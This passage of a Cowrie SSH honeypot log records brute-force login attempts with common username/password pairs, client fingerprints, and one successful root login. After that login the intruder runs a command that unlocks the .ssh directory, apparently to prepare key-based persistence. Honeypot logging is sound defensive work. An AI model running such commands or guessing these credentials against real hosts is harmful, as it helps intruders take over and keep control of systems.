03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:08:42.790067Z","src_ip":"201.16.238.49","session":"8dcb75cbe451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"viewtinet","password":"123456","message":"login attempt [viewtinet/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:08:43.386573Z","src_ip":"201.16.238.49","session":"8dcb75cbe451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:08:44.530639Z","src_ip":"201.16.238.49","session":"8dcb75cbe451","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":33686,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ec3cc99c7c5","protocol":"ssh","message":"New connection: 101.36.108.125:33686 (10.17.0.5:22) [session: 3ec3cc99c7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:18.980305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:18.984026Z","src_ip":"101.36.108.125","session":"3ec3cc99c7c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:19.205620Z","src_ip":"101.36.108.125","session":"3ec3cc99c7c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":57006,"dst_ip":"159.203.135.109","dst_port":22,"session":"be908b2b3053","protocol":"ssh","message":"New connection: 2.57.122.210:57006 (159.203.135.109:22) [session: be908b2b3053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:19.701408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:19.705336Z","src_ip":"2.57.122.210","session":"be908b2b3053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:19.804724Z","src_ip":"2.57.122.210","session":"be908b2b3053","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"validator","message":"login attempt [ubuntu/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:20.089538Z","src_ip":"2.57.122.210","session":"be908b2b3053","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"showroom","password":"123456","message":"login attempt [showroom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:20.124486Z","src_ip":"101.36.108.125","session":"3ec3cc99c7c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:21.186929Z","src_ip":"2.57.122.210","session":"be908b2b3053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:21.348610Z","src_ip":"101.36.108.125","session":"3ec3cc99c7c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.250.191.201","src_port":38428,"dst_ip":"10.17.0.5","dst_port":22,"session":"9840839cf1c1","protocol":"ssh","message":"New connection: 130.250.191.201:38428 (10.17.0.5:22) [session: 9840839cf1c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:41.103401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:41.107217Z","src_ip":"130.250.191.201","session":"9840839cf1c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:41.349442Z","src_ip":"130.250.191.201","session":"9840839cf1c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhenshan","password":"123456","message":"login attempt [zhenshan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:42.359067Z","src_ip":"130.250.191.201","session":"9840839cf1c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:43.629494Z","src_ip":"130.250.191.201","session":"9840839cf1c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":48086,"dst_ip":"10.17.0.5","dst_port":22,"session":"f48a74427451","protocol":"ssh","message":"New connection: 170.238.160.191:48086 (10.17.0.5:22) [session: f48a74427451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:46.155684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:46.165404Z","src_ip":"170.238.160.191","session":"f48a74427451","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:46.287694Z","src_ip":"170.238.160.191","session":"f48a74427451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mosquitto","password":"mosquittopass","message":"login attempt [mosquitto/mosquittopass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:46.787175Z","src_ip":"170.238.160.191","session":"f48a74427451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:47.907197Z","src_ip":"170.238.160.191","session":"f48a74427451","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.168.24.186","src_port":53356,"dst_ip":"10.17.0.5","dst_port":22,"session":"aefd5120a351","protocol":"ssh","message":"New connection: 180.168.24.186:53356 (10.17.0.5:22) [session: aefd5120a351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:48.027882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:48.032487Z","src_ip":"180.168.24.186","session":"aefd5120a351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:48.330485Z","src_ip":"180.168.24.186","session":"aefd5120a351","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"secretpassxd","message":"login attempt [root/secretpassxd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:49.553244Z","src_ip":"180.168.24.186","session":"aefd5120a351","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:50.178503Z","src_ip":"180.168.24.186","session":"aefd5120a351","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:50.181456Z","src_ip":"180.168.24.186","session":"aefd5120a351","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:50.184340Z","src_ip":"180.168.24.186","session":"aefd5120a351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.22.233","src_port":24632,"dst_ip":"10.17.0.5","dst_port":22,"session":"086cf6490862","protocol":"ssh","message":"New connection: 165.154.22.233:24632 (10.17.0.5:22) [session: 086cf6490862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:51.989057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:51.994106Z","src_ip":"165.154.22.233","session":"086cf6490862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:52.207848Z","src_ip":"165.154.22.233","session":"086cf6490862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iksi","password":"iksi123!","message":"login attempt [iksi/iksi123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:53.060946Z","src_ip":"165.154.22.233","session":"086cf6490862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:09:54.285633Z","src_ip":"165.154.22.233","session":"086cf6490862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":44502,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc3b45b12ae9","protocol":"ssh","message":"New connection: 193.32.162.145:44502 (10.17.0.5:22) [session: fc3b45b12ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:10:00.542236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:10:00.548728Z","src_ip":"193.32.162.145","session":"fc3b45b12ae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:10:00.656964Z","src_ip":"193.32.162.145","session":"fc3b45b12ae9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"ssolana","message":"login attempt [sol/ssolana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:10:00.984587Z","src_ip":"193.32.162.145","session":"fc3b45b12ae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:10:02.094132Z","src_ip":"193.32.162.145","session":"fc3b45b12ae9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":38736,"dst_ip":"10.17.0.5","dst_port":22,"session":"6beac39a3279","protocol":"ssh","message":"New connection: 101.36.108.125:38736 (10.17.0.5:22) [session: 6beac39a3279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:15.961303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:15.965940Z","src_ip":"101.36.108.125","session":"6beac39a3279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:16.185035Z","src_ip":"101.36.108.125","session":"6beac39a3279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"srvadmin","password":"12345","message":"login attempt [srvadmin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:17.095270Z","src_ip":"101.36.108.125","session":"6beac39a3279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:18.317686Z","src_ip":"101.36.108.125","session":"6beac39a3279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.16.238.49","src_port":48084,"dst_ip":"10.17.0.5","dst_port":22,"session":"e38f51555ca8","protocol":"ssh","message":"New connection: 201.16.238.49:48084 (10.17.0.5:22) [session: e38f51555ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:20.907986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:11:20.912323Z","src_ip":"201.16.238.49","session":"e38f51555ca8","protocol":"ssh"}
